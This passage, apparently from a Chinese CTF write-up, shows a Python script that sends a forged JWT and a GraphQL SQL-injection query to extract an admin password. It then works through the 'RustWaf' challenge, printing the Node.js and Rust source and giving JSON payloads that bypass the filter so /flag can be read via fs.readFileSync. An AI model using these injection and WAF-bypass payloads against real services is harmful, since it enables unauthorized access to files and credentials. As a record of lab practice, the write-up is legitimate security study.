a = 'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMjQ2ODksImlhdCI6MTY2NzEyNDM4OSwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJDSFNEemZIbHJpcTJZbmU3Ynhrc2lRIiwibmJmIjoxNjY3MTI0Mzg5LCJwYXNzd29yZCI6ImFtZXV1IiwidXNlcm5hbWUiOiJhbWV1dSJ9.nlAxl5xunioWsD7UkEY35CGu69F9JMI3B4tCTI5zG-HH5XxbgJIDjheBgYH83QOs7wuu7nRWnuzBGBvXZpoTdjXDklD8ob69-Z9h0UvYB8J9_AwySCssHOw_2d2w4B4EmhTsZ0JXv78KOgIIYKZeI4mX3RohGceGGTMLw92KW0V4IGaZulLXBl9HWw0qfnwXEOY0vNmbofCu3i_Ee1v0m6NWF2ytrLwspkJ59Xj09FXG2oEPzRC-Mx4RBgm5b2xX66RNJcwJhqiwAeRLJ3of0kr5Oo2-3VIjpNUsxgcEUUojk561CT0Lj3NO4kzfJ88gbQwnZ4f-gcg2Kg7IbVa7Tg'
token = fakePayload(a)
# data = {'query': '{ __schema{ types { name } } }'}
# data = {'query': '{ __type(name: "__EnumValue") { name fields { name type { name kind ofType { name kind } } } } }'}
# data = {'query': '{ __fields(name: "getscoreusingnamehahaha") { name } }'}
# data = {'query': '{ Getscorebyname(name: "admin"){ userid name score } }'}
data = {'query': '{ getscoreusingnamehahaha(name:"name\'union select password from users where name=\'admin\' and \'1=1"){ userid name score '
'} }'}

r = requests.post(url + 'graphql',
cookies={'token': token,
'session': 'eyJpc19sb2dpbiI6MX0.Y15HzQ.WwPKCovExkTsVcmU5hVuWIdjj4k'},
data=data)

print(r.text)
r = requests.get(url + 'getflag', cookies={'token': token,
'session': 'eyJpc19sb2dpbiI6MX0.Y15HzQ.WwPKCovExkTsVcmU5hVuWIdjj4k'})
print(r.text)

flag:

1
flag{9f065df3-23ae-438f-ae09-56d36a400b52}

RustWaf

/src得到nodejs源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
const express = require('express');
const app = express();
const bodyParser = require("body-parser")
const fs = require("fs")
app.use(bodyParser.text({type: '*/*'}));
const {  execFileSync } = require('child_process');

app.post('/readfile', function (req, res) {
   let body = req.body.toString();
   console.log("bosy = "+body + ";");
   let file_to_read = "app.js";
    const file = execFileSync('/app/rust-waf', [body], {
        encoding: 'utf-8'
    }).trim();
   const file = body;
   try {
       file_to_read = JSON.parse(file)
  } catch (e){
       file_to_read = file
  }
   console.log("file_to_read = " + file_to_read + ";");
   let data = fs.readFileSync(file_to_read);
   console.log("data = " + data);
   // res.send(data.toString());
});

app.get('/', function (req, res) {
   res.send('see `/src`');
});
app.get('/src', function (req, res) {
   var data = fs.readFileSync('app.js');
   res.send(data.toString());
});

app.listen(3000, function () {
   console.log('start listening on port 3000');
});

代码比较简单,重点就是在/readfile目录下读取文件,而会直接从post body获取文件名,直接用bp传,测试读取app.js成功

Untitled

但是读取/flag的时候没有成功,返回了rust的代码。可以发现如果payload中包含flag或者proc就会直接返回文件内容,如果绕过了再判断payload如果是json格式,那么是否存在key为protocol,如果存在也直接返回文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// use std::env;
use serde::{Deserialize, Serialize};
use serde_json::Value;

static BLACK_PROPERTY: &str = "protocol";

#[derive(Debug, Serialize, Deserialize)]
struct File{
   #[serde(default = "default_protocol")]
   pub protocol: String,
   pub href: String,
   pub origin: String,
   pub pathname: String,
   pub hostname:String
}

pub fn default_protocol() -> String {
   "http".to_string()
}
//protocol is default value, can't be customized
pub fn waf(body: &str) -> String {
   if body.to_lowercase().contains("flag") ||  body.to_lowercase().contains("proc"){
       return String::from("./main.rs");
  }
   if let Ok(json_body) = serde_json::from_str::<Value>(body) {
       if let Some(json_body_obj) = json_body.as_object() {
           if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) {
               return String::from("./main.rs");
          }
      }

       //not contains protocol,check if struct is File
       if let Ok(file) = serde_json::from_str::<File>(body) {
           return serde_json::to_string(&file).unwrap_or(String::from("./main.rs"));
      }
  } else{
       //body not json
       return String::from(body);
  }

   return String::from("./main.rs");
}

fn main() {
   // let args: Vec<String> = env::args().collect();
   println!("");
}

google了一下,发现corctf的某道题和这道题类似,也是fs.readfileSync并绕waf,可以直接去看源码

Untitled

如果传入的payload不为空并且payload.hrefpayload.origin均有值,就会进入fileURLToPath(fileURLOrPath)

Untitled

payload.protocolfile:

Untitled

这里实现对payload.pathname的url解码并返回最后实现读取payload.pathname内容

注意这里要求payload.hostname为空

Untitled

但是这里用到的payload中存在protocol导致rust能检测到,要绕过。payload:

1
{"origin":"*","href":"*","pr\ud811otocol":"file:","protocol":"file:","hostname":"","pathname":"/f%6cag"}

Untitled

小更新:

从群里师傅发的wp学到的新payload:

1
2
3
4
5
6
7
[
"file:",
"a",
"a",
"/fl%61g",
""
]

感觉应该是根据main.rs里面的struct来的吧?大概(不会rust呜呜呜

1
2
3
4
5
6
7
8
9
#[derive(Debug, Serialize, Deserialize)]
struct File{
#[serde(default = "default_protocol")]
pub protocol: String,
pub href: String,
pub origin: String,
pub pathname: String,
pub hostname:String
}

flag:

1
flag{5f53d536-83ed-41ec-ae21-939143a38066}

Reference

http://www.bmth666.cn/bmth_blog/2022/09/27/Spring内存马学习/#Spring内存马

https://www.anquanke.com/post/id/258575#h2-2

https://myzxcg.com/2021/11/Spring-内存马实现/

https://viblo.asia/p/corctf-2022-writeup-part-1-m68Z0Joj5kG#_c-challenge-solution-3

https://github.com/nodejs/node/blob/main/lib/fs.js#L464

https://bbs.pediy.com/thread-274102.htm

https://github.com/davedoesdev/python-jwt

https://www.secpulse.com/archives/148242.html

[https://graphql.cn/learn/queries/#variables](